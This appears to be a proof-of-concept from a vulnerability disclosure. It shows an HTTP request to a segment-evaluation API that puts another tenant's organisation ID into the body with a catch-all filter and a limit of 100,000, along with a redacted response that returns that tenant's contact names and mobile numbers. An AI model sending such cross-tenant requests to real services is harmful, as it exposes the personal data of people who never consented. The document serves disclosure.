Proof-of-concept request:
POST /api/segment/evaluate HTTP/2
Host: [REDACTED]
Content-Type: application/json
{
"json": {
"organisationId": "<target_org_id>",
"searchCriteria": {
"and": [
{ "or": [
{ "field": "firstName", "operator": "contains", "value": "a" }
]}
]
},
"limit": 100000,
"skip": 0
}
}
Response, shape only:
HTTP/2 200 OK
Content-Type: application/json
{
"json": {
"organisationId": "<target_org_id>",
"count": 100000,
"records": [
{ "firstName": "[Redacted]", "lastName": "[Redacted]",
"mobile": { "normalised": "+XX XXX XXX XXX" },
"organisation": "[Tenant name redacted]" },
// 99,999 more contact records for a tenant we do not belong to
]
}
}